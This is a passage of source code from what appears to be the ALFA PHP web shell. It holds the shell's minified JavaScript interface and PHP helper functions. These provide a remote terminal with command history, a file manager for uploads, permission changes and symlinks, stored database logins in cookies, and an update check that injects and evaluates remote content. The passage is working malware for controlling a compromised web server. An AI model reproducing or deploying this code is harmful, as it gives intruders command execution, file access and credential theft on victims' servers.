0!==(r=l[terminal_walk_index[a].index])?(e.value=r,++terminal_walk_index[a].index):(e.value="",terminal_walk_index[a].index=0)):terminal_walk_index[a].index<l.length&&(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,e.value=l[terminal_walk_index[a].index],++terminal_walk_index[a].index),terminal_walk_index[a].key=1;break;case 40:l=alfaGetTerminalHistory(!0);if(terminal_walk_index[a].index>=0)0!=terminal_walk_index[a].index&&(--terminal_walk_index[a].index,1==terminal_walk_index[a].key&&--terminal_walk_index[a].index),void 0!==(r=l[terminal_walk_index[a].index])?e.value=r:(e.value="",terminal_walk_index[a].index=0);terminal_walk_index[a].key=0;break;default:console.log(i.keyCode)}else terminal_walk_index[a].index=0}function clearTerminalHistory(){d.querySelectorAll(".commands-history").forEach(function(e){e.innerHTML=""}),setCookie("alfa-terminal-history","",2012)}function alfaAceToFullscreen(e){var t=e.getAttribute("ace_id");alfa_ace_editors.editor[t].container.requestFullscreen()}function closeHistoryCmd(e,t){if("free"==e){var a=t.getAttribute("term_id");return e=d.querySelector("#"+a+" .cmd-history-icon"),d.querySelector("#"+a+" .cmd-history-holder").style.visibility="hidden",d.querySelector("#"+a+" .cmd-history-holder").style.opacity="0",e.setAttribute("mode","off"),!1}var i=e.getAttribute("mode"),l=(a=e.getAttribute("term_id"),d.querySelector("#"+a+" .cmd-history-holder"));0==i.length||"off"==i?(l.style.visibility="visible",l.style.opacity="1",e.setAttribute("mode","on")):(l.style.visibility="hidden",l.style.opacity="0",e.setAttribute("mode","off"))}function geEvalAceValue(e){var t=e.querySelector(".php-evals-ace").getAttribute("id");return alfa_ace_editors.eval[t].getValue()}function alfaOpenArchive(e){var t=e.getAttribute("path"),a=e.getAttribute("fname"),i=e.getAttribute("base_id");if(".."==a&&"phar://"!=t.substr(0,7))return!1;var l="a="+alfab64("open_archive_dir")+"&c="+alfab64(c_)+"&alfa1="+alfab64(t)+"&alfa2="+alfab64(i)+"&ajax="+alfab64("true");_Ajax(d.URL,l,function(e){if("0"!=e){$("archive_base_"+i).innerHTML=e;var a=$("archive_dir_"+i).getAttribute("archive_name"),l=$("archive_dir_"+i).getAttribute("archive_full"),r="",o="";if(0!=(t=t.split(a)[1]).length){var n=(t=t.split("/")).length-1;for(var s in 0==t[n].length&&t.splice(n,1),t)0!=t.length&&(o+=t[s]+"/",r+='<a base_id="'+i+'" fname="'+t[s]+'" path="'+l+o+'" onclick="alfaOpenArchive(this);">'+t[s]+"/</a>")}d.querySelector("#archive_dir_"+i+" .archive_pwd_holder").innerHTML=r}},!1,"open_archive_dir")}function alfaDeleteConnectToDb(e){d.querySelectorAll(".dbh_"+e).forEach(function(e){e.remove()}),alfaConnectionHistoryUpdate(e)}function alfaConnectToDb(e,t){var a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var i=d.querySelector("#"+t+" div.sf");i.querySelector("input[name=sql_host]").value=a[e].host,i.querySelector("input[name=sql_login]").value=a[e].user,i.querySelector("input[name=sql_pass]").value=a[e].pass,(i.querySelector("input[name=sql_base]")?i.querySelector("input[name=sql_base]"):i.querySelector("select[name=sql_base]")).value=a[e].db,i.querySelector("input[name=sql_count]").checked=!0,d.querySelector("#"+t+" div.sf .db-connect-btn").click()}function alfaShowConnectionHistory(e){var t={},a=e.getAttribute("db_id"),i=e.getAttribute("mode");if(rows='<table class="connection-hist-table"><tr><th>*</th><th>Host</th><th>User</th><th>Pass</th><th>Database</th><th>Connect</th><th>Delete</th></tr>',"on"==i){e.setAttribute("mode","off");try{t=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var l,r=1;for(l in t){var o=t[l].user+"_"+t[l].db;rows+='<tr class="dbh_'+o+'"><th>'+r+"</th><th>"+t[l].host+"</th><th>"+t[l].user+"</th><th>"+t[l].pass+"</th><th>"+t[l].db+'</th><th><button style="margin: unset;" class="connection-his-btn" onclick=\'alfaConnectToDb("'+o+'","'+a+'");\'>Connect</button></th><th style="text-align: center;"><button style="margin: unset;" class="connection-his-btn connection-delete" onclick=\'alfaDeleteConnectToDb("'+o+"\");'>X</button></th></tr>",r++}rows+="</table"}else e.setAttribute("mode","on"),rows="";d.querySelector("#"+a+" .connection_history_holder").innerHTML=rows}function alfaConnectionHistoryUpdate(e){var t,a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}for(t in mysql_cache)0!=mysql_cache[t].db.length&&(a[mysql_cache[t].user+"_"+mysql_cache[t].db]=mysql_cache[t]);void 0!==e&&delete a[e],setCookie("alfa_connection_hist",btoa(JSON.stringify(a)),2012)}function alfaExecTerminal(e,t){var a="";if(0==(a=void 0!==t?"cd "+c_:e.c.value).length)return!1;"l"==a?a="ls -trh --color":"ll"==a&&(a="ls -ltrh --color");var i=e.getAttribute("term_id");alfaloader(i,"block"),closeHistoryCmd("free",e);var l="";"FORM"==e.tagName&&(l=e.querySelector(".php-terminal-current-dir").innerHTML),0==(l=l.trim()).length&&(l=c_);var r="a="+alfab64("terminalExec")+"&c="+alfab64(l)+"&alfa1="+alfab64(a)+"&ajax="+alfab64("true");if(_Ajax(d.URL,r,function(e,t){alfaloader(t,"none");try{var a=$("tab_"+i);null!=a&&((-1==a.classList.value.indexOf("active-terminal-tab")||cgi_is_minimized)&&(a.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",a.innerText)),cgi_is_minimized&&alfaUpdateOptionsBadge("cgiloader"))}catch(e){}e=JSON.parse(e),d.querySelector("#"+t+" .php-terminal-output > pre").innerHTML=e.output,0!=e.path.length&&(d.querySelector("#"+t+" .php-terminal-current-dir").innerHTML=e.path)},!1,i),void 0===t){d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+a+"</div>");var o=alfaGetTerminalHistory(),n=o.indexOf(a);-1!=n&&o.splice(n,1),o.push(a),setCookie("alfa-terminal-history",btoa(JSON.stringify(o)),2012)}d.querySelector("#"+i+" input.php-terminal-input").focus()}function pageChangedFilesMan(e){var t="filesman_holder_"+alfa_current_fm_id,a=getCookie(t+"_page_number"),i=e.innerText;if("<<"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;if(!((a=parseInt(a))>1))return!1;i=a-1}if(">>"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;a=parseInt(a);var l=d.querySelector("#"+t+" .last-page-number").innerHTML;if(!(a+1<=(l=parseInt(l))))return!1;i=a+1}setCookie(t+"_page_number",i,2012),g("FilesMan",c_)}function alfaColDumperInit(){var e=d.querySelector(".tab_name.tab_is_active").getAttribute("opt_id"),t=d.querySelector("#"+e),a=t.getElementsByClassName("box");for(i=0;i<a.length;i++)a[i].addEventListener("click",function(){null!=this.parentElement.querySelector(".nested")&&(this.parentElement.querySelector(".nested").classList.toggle("active"),this.classList.toggle("check-box"))});var i;a=t.getElementsByClassName("sub-box");for(i=0;i<a.length;i++)a[i].setAttribute("opt_id",e),a[i].addEventListener("click",function(){this.classList.toggle("check-box");var e=this.getAttribute("tbl"),t=this.getAttribute("opt_id");t=t.replace("option_",""),col_dumper_selected_data.hasOwnProperty(t)||(col_dumper_selected_data[t]={}),void 0===col_dumper_selected_data[t][e]&&(col_dumper_selected_data[t][e]=[]);var a=this.innerHTML,i=col_dumper_selected_data[t][e].indexOf(a);-1==i?col_dumper_selected_data[t][e].push(a):col_dumper_selected_data[t][e].splice(i,1)})}function showSymlinkPath(e,t){t.stopPropagation();var a=e.getAttribute("row"),i=$("td_row_"+a),l=e.getAttribute("opt_title"),r=e.getAttribute("fname");if(l=decodeURIComponent(r)+" -> "+l,null!=i){i.insertAdjacentHTML("afterbegin",'<div class="symlink_path" id="link_id_'+a+'">'+l+"</div>");var o=t.clientX,n=t.clientY-30;$("link_id_"+a).style.left=o+"px",$("link_id_"+a).style.top=n+"px"}}function hideSymlinkPath(e,t){t.stopPropagation(),$("link_id_"+e.getAttribute("row")).remove()}function alfagetFlags(){data="a="+alfab64("get_flags")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,function(e){var t=JSON.parse(e);t.hasOwnProperty("server")&&(d.querySelectorAll(".flag-holder")[0].innerHTML='<img draggable="false" title="'+t.server.name+'" src="http://solevisible.com/images/flags/48/'+t.server.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[0].style.display="inline"),t.hasOwnProperty("client")&&(d.querySelectorAll(".flag-holder")[1].innerHTML='<img draggable="false" title="'+t.client.name+'" src="http://solevisible.com/images/flags/48/'+t.client.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[1].style.display="inline")})}function colDumplerSelectType(e){var t=e.options[e.selectedIndex].value;$("coldumper-delimiter-input").style.display="delimiter"==t?"inline-block":"none"}function alfaCheckUrlHash(){var e=window.location.hash.substr(1),t=e.split("&").reduce(function(e,t){var a=t.split("=");return e[a[0]]=a[1],e},{});if(""!=e)switch(t.action){case"fileman":case"options":t.path=decodeURIComponent(t.path),g("FilesMan",t.path,function(e){if(t.hasOwnProperty("file")){var a="auto";isArchive(t.file)&&(a="view"),editor(t.path+"/"+t.file,a,"","","","file")}}),"options"==t.action&&t.hasOwnProperty("opt")&&(alfa_can_add_opt=!0,g(t.opt,null,"","",""),d.querySelector(".opt-title").innerHTML=$("menu_opt_"+t.opt).innerHTML),t.hasOwnProperty("file")||editorClose("editor"),t.hasOwnProperty("opt")||editorClose("options_window"),editorClose("cgiloader");break;default:g("FilesMan","<?php echo $GLOBALS["cwd"]; ?>"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}else g("FilesMan","<?php echo $GLOBALS["cwd"]; ?>"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}function alfaFmngrContextRow(){d.querySelectorAll(".fmanager-row a.main_name").forEach(function(e){e.addEventListener("contextmenu",function(e){var t=e.target,a="";if(".."==(a="A"==e.target.parentElement.tagName?(t=e.target.parentElement).getAttribute("fname"):t.getAttribute("fname")))return!1;var i=t.getAttribute("id"),l=t.getAttribute("path"),r=t.getAttribute("ftype"),o=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete"];for(var n in"file"!=r||isArchive(a)?o[3]="view_archive":o.splice(11,1),"folder"==r&&(o=["newtab","link","move","copy","rename","modify","permission","compress","delete"]),alfaSortMenuItems(o),o){var s=d.querySelector("#rightclick_menu > a[name="+o[n]+"]");switch(s.setAttribute("fid",i),s.setAttribute("fname",decodeURIComponent(a)),s.setAttribute("path",l),s.setAttribute("ftype",r),o[n]){case"view":case"edit":var c="auto";"edit"==o[n]&&(c="edit"),s.setAttribute("href","#action=fileman&path="+c_+"/&file="+a),s.setAttribute("onclick","editor('"+a+"','"+c+"','','','','file')");break;case"newtab":var u=a;"file"==r?(u="&file="+a,s.setAttribute("href","#action=fileman&path="+c_+"/"+u),s.setAttribute("target","_blank"),s.onclick=function(){}):(s.setAttribute("href","javascript:void(0)"),s.removeAttribute("target"),s.onclick=function(){alfaFilesManNewTab(c_,u)});break;case"delete":s.setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';");break;case"download":s.setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')");break;case"permission":try{var p=d.querySelector("#id_chmode_"+i.replace("id_","")+" span").innerHTML;s.setAttribute("perm",p.trim())}catch(e){}break;case"link":s.style.display="block";var f="<?php echo $_SERVER["DOCUMENT_ROOT"]; ?>/",m=(c_+"/"+a).replace(/\/\//g,"/");if(-1!=m.indexOf(f)){f=m.replace(f,"");var b=location.origin+"/"+f;s.setAttribute("href",""+b)}else s.style.display="none"}}var y=e.clientX,_=e.clientY;alfaRightClickMenu(y,_),e.preventDefault()})})}function alfaFilesManNewTab(e,t,a){var i=t;void 0!==a&&(i=alfaGetLastFolderName(e));var l=decodeURIComponent(e+"/"+t);l=l.replace(/\/\//g,"/");var r=$("filesman_tab_1"),o=r.getAttribute("fm_counter");o=parseInt(o)+1,r.setAttribute("fm_counter",o),d.querySelector("#filesman_tabs_child").insertAdjacentHTML("beforeend",'<div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" path="'+l+'" id="filesman_tab_'+o+'" fm_id="'+o+'" onclick="filesmanTabController(this);" fname="'+t+'" class="filesman_tab"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span class="filesman-tab-folder-name">'+i+'</span> <img fm_id="'+o+'" onclick="closeFmTab(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector(".ajaxarea").insertAdjacentHTML("beforebegin",'<div style="position:relative;" fm_id="'+o+'" id="filesman_holder_'+o+'" class="ajaxarea"><div class="header"></div></div>'),alfa_fm_id=o,g("FilesMan",l),alfa_fm_id=0}function alfaFilesmanTabShowTitle(e,t){t.stopPropagation();var a=$("filesman-tab-full-path");a.style.display="block",a.style.top=e.offsetTop-37+"px",a.style.left=e.offsetLeft-$("filesman_tabs").scrollLeft+"px",a.innerHTML=e.getAttribute("path")}function alfaFilesmanTabHideTitle(e,t){$("filesman-tab-full-path").style.display="none"}function alfaPopupAction(e,t){var a="",i="";switch(t){case"rename":a="Old file name:",i="New file name:";break;case"copy":a="File path:",i="Enter the file path that you want to copy this file to:";break;case"move":a="Current Path:",i="Enter the file path that you want to move this file to:";break;case"extract":a="Files to extract:",i="Enter the path you wish to extract the files to and click Extract:"}var l=e.getAttribute("fname"),r=e.getAttribute("path"),o=t.charAt(0).toUpperCase()+t.slice(1);if("permission"==t){d.querySelector("#shortcutMenu-holder").style.height="222px",o="Change Permissions",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="block",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="none";var n=e.getAttribute("perm"),s=n.substr(1,1),c=n.substr(2,1),u=n.substr(3,1);d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s,d.querySelector("#shortcutMenu-holder > form input[name=g]").value=c,d.querySelector("#shortcutMenu-holder > form input[name=w]").value=u,autoCheckPerms(s,"u",["u","g","w"]),autoCheckPerms(c,"g"),autoCheckPerms(u,"w")}else d.querySelector("#shortcutMenu-holder").style.height="190px",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="block",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="none";var p="move"==t||"copy"==t?r+l:l;if("modify"==t){var f="tr_row_"+e.getAttribute("fid").replace("id_","");p=d.querySelector("#"+f+" .main_modify").innerText}d.querySelector(".cl-popup-fixed").style.display="block",d.querySelector("#shortcutMenu-holder .popup-head").innerHTML=o,d.querySelector("#shortcutMenu-holder .old-path-lbl").innerHTML=a,d.querySelector("#shortcutMenu-holder .new-filename-lbl").innerHTML=i,d.querySelector("#shortcutMenu-holder .popup-foot > button[name=accept]").innerHTML=o,d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=r+l,d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value=p,d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("fid",e.getAttribute("fid")),d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("action",t)}function calcperm(){var e=event.srcElement;autoCheckPerms(e.checked,e.name.substr(0,1))}function autoCheckPerms(e,t,a){if(void 0!==a)for(var i in a){var l=a[i];d.querySelector("#shortcutMenu-holder > form input[name="+l+"r]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"w]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"x]").checked=!1}var r=d.querySelector("#shortcutMenu-holder > form input[name="+t+"r]"),o=d.querySelector("#shortcutMenu-holder > form input[name="+t+"w]"),n=d.querySelector("#shortcutMenu-holder > form input[name="+t+"x]");if("boolean"!=typeof e)"7"==e?(r.checked=!0,o.checked=!0,n.checked=!0):"4"==e?r.checked=!0:"2"==e?o.checked=!0:"1"==e?n.checked=!0:"6"==e?(r.checked=!0,o.checked=!0):"3"==e?(o.checked=!0,n.checked=!0):"5"==e&&(r.checked=!0,n.checked=!0);else{var s=0;r.checked&&(s+=4),o.checked&&(s+=2),n.checked&&(s+=1),"u"==t?d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s:"g"==t?d.querySelector("#shortcutMenu-holder > form input[name=g]").value=s:"w"==t&&(d.querySelector("#shortcutMenu-holder > form input[name=w]").value=s)}}function gg(e,t,a,i,l,r){var o="filesman_holder_"+alfa_current_fm_id;alfaloader(o,"block"),data="a="+alfab64(e)+"&c="+alfab64(t)+"&alfa1="+alfab64(a)+"&alfa2="+alfab64(i)+"&alfa3="+alfab64(l)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,r,!1,o)}function alfaPopUpDoAction(e){var t=e.getAttribute("action");switch(t){case"rename":case"move":case"copy":var a=e.getAttribute("fid").replace("id_",""),i=$("id_"+a).getAttribute("fname"),l=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value;l=l.trim(),i=i.trim(),gg("doActions",c_,i,l,t,function(e,i){if("rename"==t)if("done"==e){var r=$("id_"+a);updateFileEditor(a,l);var o=r.getAttribute("path")+$("id_"+a).getAttribute("fname");d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=o,r.addEventListener("animationend",function(){r.classList.remove("textEffect")}),r.classList.add("textEffect"),alfaShowNotification("Renamed...","Rename Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification("error...!","Rename Action","error");alfaloader(i,"none")});break;case"permission":var r=d.querySelector("#shortcutMenu-holder > form input[name=u]").value,o=d.querySelector("#shortcutMenu-holder > form input[name=g]").value,n=d.querySelector("#shortcutMenu-holder > form input[name=w]").value;i=(i=d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML).trim();var s=r.trim()+o.trim()+n.trim();gg("doActions",c_,i,s,t,function(e,t){alfaloader(t,"none"),alfaShowNotification(e,"Permission Action"),d.querySelector(".cl-popup-fixed").style.display="none"});break;case"modify":a=e.getAttribute("fid").replace("id_","");var c=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value,u=$("id_"+a).getAttribute("fname");gg("doActions",c_,c,u,t,function(t,a){if("ok"==t){var i="tr_row_"+e.getAttribute("fid").replace("id_","");d.querySelector("#"+i+" .main_modify").innerHTML=c,alfaShowNotification("success...","Modify Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification(t,"Modify Action","error");alfaloader(a,"none")})}}function alfaInitSoratableTab(e){Sortable.create(e,{direction:"horizontal",animation:300,ghostClass:"sortable-ghost",filter:".not-sortable"})}$("search-input").addEventListener("keydown",function(e){setTimeout(function(){var e=$("search-input").value;for(var t in d.getElementsByClassName("history-list")[0].innerHTML="",editor_files)if(-1!=editor_files[t].file.search(e)||""==e){var a=0;t==editor_current_file&&(a=" is_active"),insertToHistory(t,editor_files[t].file,a,editor_files[t].type)}},100)},!1),_Ajax(d.URL,"a="+alfab64("checkupdate"),function(e){if(0!=e.length&&"[]"!=e){var t=JSON.parse(e);if(t.hasOwnProperty("content")){d.body.insertAdjacentHTML("beforeend",t.content);try{evalJS(t.content)}catch(t){}}if(t.hasOwnProperty("copyright")&&($("alfa-copyright").innerHTML=t.copyright),t.hasOwnProperty("solevisible")&&($("alfa_solevisible").innerHTML=t.solevisible),t.hasOwnProperty("code_name")&&($("hidden_sh").innerHTML=t.code_name.replace(/\{version\}/g,t.version_number)),t.hasOwnProperty("market")){var a=d.querySelector("span.alfa_plus");if(t.market.hasOwnProperty("visible")&&"yes"==t.market.visible&&($("menu_opt_market").style.display="inline"),"open"!=t.market.status&&(a.style.color="#ffc107"),t.market.hasOwnProperty("content"))try{evalJS(t.market.content)}catch(t){}}}}),<?php echo $GLOBALS["need_to_update_header"]; ?>?_Ajax(d.URL,"a="+alfab64("updateheader"),function(e){try{var t=JSON.parse(e);for(var a in t){for(var i="",l=0;l<t[a].length;l++)i+="useful"==a||"downloader"==a?'<span class="header_values" style="margin-left: 4px;">'+t[a][l]+"</span>":t[a][l];var r=$("header_"+a);r&&(r.innerHTML=i)}$("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on")}catch(e){}}):islinux&&_Ajax(d.URL,"a="+alfab64("checkcgi"),function(e){"ok"==e&&($("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on"))}),function(){d.onclick=function(){can_hashchange_work=!1,setTimeout(function(){can_hashchange_work=!0},600)},window.onhashchange=function(e){can_hashchange_work&&alfaCheckUrlHash()},alfaCheckUrlHash(),alfagetFlags(),rightclick_menu_context=$("rightclick_menu").style,alfaInitCwdContext(),document.addEventListener("click",function(e){rightclick_menu_context.opacity="0",setTimeout(function(){rightclick_menu_context.visibility="hidden"},501)},!1);var e=document.createElement("script");e.src="https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.10.2/Sortable.min.js",e.id="sortable-plugin",e.onload=function(){alfaInitSoratableTab($("filesman_tabs_child")),alfaInitSoratableTab(d.querySelector(".editor-tabs")),alfaInitSoratableTab(d.querySelector(".options_tab")),alfaInitSoratableTab(d.querySelector(".terminal-tabs")),alfaInitSoratableTab(d.querySelector(".sql-tabs"))},d.body.appendChild(e)}();
</script>
</body>
</html>
<?php
}}
if (!function_exists("posix_getpwuid") && (strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;} }
function alfaWhich($p) {
$path = alfaEx('which ' . $p,false,false);
if(!empty($path))
return strlen($path);
return false;
}
function alfaSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function alfaPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's​';
elseif (($p & 0xA000) == 0xA000)$i = 'l​';
elseif (($p & 0x8000) == 0x8000)$i = '-​';
elseif (($p & 0x6000) == 0x6000)$i = 'b​';
elseif (($p & 0x4000) == 0x4000)$i = 'd​';
elseif (($p & 0x2000) == 0x2000)$i = 'c​';
elseif (($p & 0x1000) == 0x1000)$i = 'p​';
else $i = 'u​';
$i .= (($p & 0x0100) ? 'r​' : '-');
$i .= (($p & 0x0080) ? 'w​' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's​' : 'x​' ) : (($p & 0x0800) ? 'S​' : '-'));
$i .= (($p & 0x0020) ? 'r​' : '-');
$i .= (($p & 0x0010) ? 'w​' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's​' : 'x​' ) : (($p & 0x0400) ? 'S​' : '-'));
$i .= (($p & 0x0004) ? 'r​' : '-');
$i .= (($p & 0x0002) ? 'w​' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't​' : 'x​' ) : (($p & 0x0200) ? 'T​' : '-'));
return $i;
}
function alfaPermsColor($f,$isbash=false){
$class = "";
$num = "";
$human = "";
if($isbash){
$class = $f["class"];
$num = $f["num"];
$human = $f["human"];
}else{
$num = substr(sprintf('%o', @fileperms($f)),-4);
$human = alfaPerms(@fileperms($f));
if(!@is_readable($f))
$class = "main_red_perm";
elseif (!@is_writable($f))
$class = "main_white_perm";
else
$class = "main_green_perm";
}
return '<span style="font-weight:unset;" class="'.$class.'">'.$num.'</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="'.$class.'">'.$human.'</span>';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function reArrayFiles($file_post){
$file_ary = array();
$file_count = count($file_post['name']);
$file_keys = array_keys($file_post);
for ($i=0; $i<$file_count; $i++) {
foreach ($file_keys as $key) {
$file_ary[$i][$key] = $file_post[$key][$i];
}
}
return $file_ary;
}
function _alfa_can_runCommand($cgi=true,$cache=true){
	if(isset($_COOKIE["alfa_canruncmd"])&&$cache){
		return true;
	}
	if(strlen(alfaEx("whoami",false,$cgi))>0){
		$_COOKIE["alfa_canruncmd"] = true;
		return true;
	}
	return false;
}
function _alfa_symlink($target, $link){
	$phpsym = function_exists("symlink");
	if($phpsym){
		@symlink($target, $link);
	}else{
		alfaEx("ln -s '".addslashes($target)."' '".addslashes($link)."'");
	}
}
function _alfa_file_exists($file,$cgi=true){
	if(@file_exists($file)){
		return true;
	}else{
		if(strlen(alfaEx("ls -la '".addslashes($file)."'",false,$cgi))>0){
			return true;
		}
	}
	return false;
}
function _alfa_file($file,$cgi=true){
	$array = @file($file);
	if(!$array){
		if(strlen(alfaEx("id",false,$cgi))>0){
			$data = alfaEx('cat "'.addslashes($file).'"',false,$cgi);
			if(strlen($data)>0){
				return explode("\n", $data);
			}else{
				return false;
			}
		}else{
			return false;
		}
	}else{
		return $array;
	}
}
function _alfa_is_writable($file){
	$check = false;
	$check = @is_writable($file);
	if(!$check){
		if(_alfa_can_runCommand()){
			$check = alfaEx('[ -w "'.trim(addslashes($file)).'" ] && echo "yes" || echo "no"');
			if($check == "yes"){
				$check = true;
			}else{
				$check = false;
			}
		}
	}
	return $check;
}
function _alfa_is_dir($dir,$mode="-d"){
	$check = false;
	$check = @is_dir($dir);
	if($mode == "-e"){
		$check = @is_file($dir);
	}
	if(!$check){
		if(_alfa_can_runCommand()){
			$check = alfaEx('[ "'.trim($mode).'" "'.trim(addslashes($dir)).'" ] && echo "yes" || echo "no"');
			if($check == "yes"){
				return true;
			}else{
				return false;
			}
		}
	}
	return $check;
}
function _alfa_load_ace_options($base){
	return '<span>Theme: </span><select class="ace-controler ace-theme-selector" base="'.$base.'" onChange="alfaAceChangeSetting(this,\'theme\');"><option value="terminal" selected>terminal</option><option value="ambiance">ambiance</option><option value="chaos">chaos</option><option value="chrome">chrome</option><option value="clouds">clouds</option><option value="clouds_midnight">clouds_midnight</option><option value="cobalt">cobalt</option><option value="crimson_editor">crimson_editor</option><option value="dawn">dawn</option><option value="dracula">dracula</option><option value="dreamweaver">dreamweaver</option><option value="eclipse">eclipse</option><option value="github">github</option><option value="gob">gob</option><option value="gruvbox">gruvbox</option><option value="idle_fingers">idle_fingers</option><option value="iplastic">iplastic</option><option value="katzenmilch">katzenmilch</option><option value="kr_theme">kr_theme</option><option value="kuroir">kuroir</option><option value="merbivore">merbivore</option><option value="merbivore_soft">merbivore_soft</option><option value="mono_industrial">mono_industrial</option><option value="monokai">monokai</option><option value="nord_dark">nord_dark</option><option value="pastel_on_dark">pastel_on_dark</option><option value="solarized_dark">solarized_dark</option><option value="solarized_light">solarized_light</option><option value="sqlserver">sqlserver</option><option value="textmate">textmate</option><option value="tomorrow">tomorrow</option><option value="tomorrow_night">tomorrow_night</option><option value="tomorrow_night_blue">tomorrow_night_blue</option><option value="tomorrow_night_bright">tomorrow_night_bright</option><option value="tomorrow_night_eighties">tomorrow_night_eighties</option><option value="twilight">twilight</option><option value="vibrant_ink">vibrant_ink</option><option value="xcode">xcode</option></select><span>Language: </span><select class="ace-controler" base="'.$base.'" onChange="alfaAceChangeSetting(this,\'lang\');"><option value="php">php</option><option value="python">python</option><option value="perl">perl</option><option value="c_cpp">c/c++</option><option value="csharp">c#</option><option value="ruby">ruby</option><option value="html">html</option><option value="javascript">javascript</option><option value="css">css</option><option value="xml">xml</option><option value="sql">sql</option><option value="swift">swift</option><option value="sh">bash</option><option value="lua">lua</option><option value="powershell">powershell</option><option value="jsp">jsp</option><option value="java">java</option><option value="json">json</option><option value="plain_text">plain_text</option></select><span>Soft Wrap: </span><input type="checkbox" name="wrapmode" class="ace-controler" onClick="alfaAceChangeWrapMode(this,\''.$base.'\');" checked> | <span>Font Size: </span><button class="ace-controler" style="cursor:pointer;" onclick="alfaAceChangeFontSize(\''.$base.'\',\'+\', this);return false;">+</button> | <button style="cursor:pointer;" class="ace-controler" onclick="alfaAceChangeFontSize(\''.$base.'\', \'-\', this);return false;">-</button> | ';
}
function alfaFilesMan2(){
	alfahead();
	AlfaNum(8,9,10,7,6,5,4);
	echo '<div style="position:relative;" fm_id="1" id="filesman_holder_1" class="ajaxarea filesman-active-content"><div class="header"></div></div>';
	alfaFooter();
}
function copy_paste($c,$s,$d){
if(@is_dir($c.$s)){
@mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
}
function alfaFilesMan(){
if(!empty ($_COOKIE['alfa_f']))
$_COOKIE['alfa_f'] = @unserialize($_COOKIE['alfa_f']);
if(!empty($_POST['alfa1'])){
switch($_POST['alfa1']){
case 'uploadFile':
$move_cmd_file = false;
$alfa_canruncmd = false;
if($GLOBALS['glob_chdir_false']){
	$alfa_canruncmd = _alfa_can_runCommand(true,true);
	$move_cmd_file = true;
}
if(_alfa_is_writable($GLOBALS['cwd'])){
$files = reArrayFiles($_FILES['f']);
$ret_files = array();
foreach($files as $file){
if($move_cmd_file&&$alfa_canruncmd){
	alfaEx("cat '".addslashes($file['tmp_name'])."' > '".addslashes($_POST["c"]."/".$file['name'])."'");
}else{
	if(@move_uploaded_file($file['tmp_name'],$file['name'])){
		$ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($file['name'])):array("name" => "????");
		$gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($file['name'])):array("name" => "????");
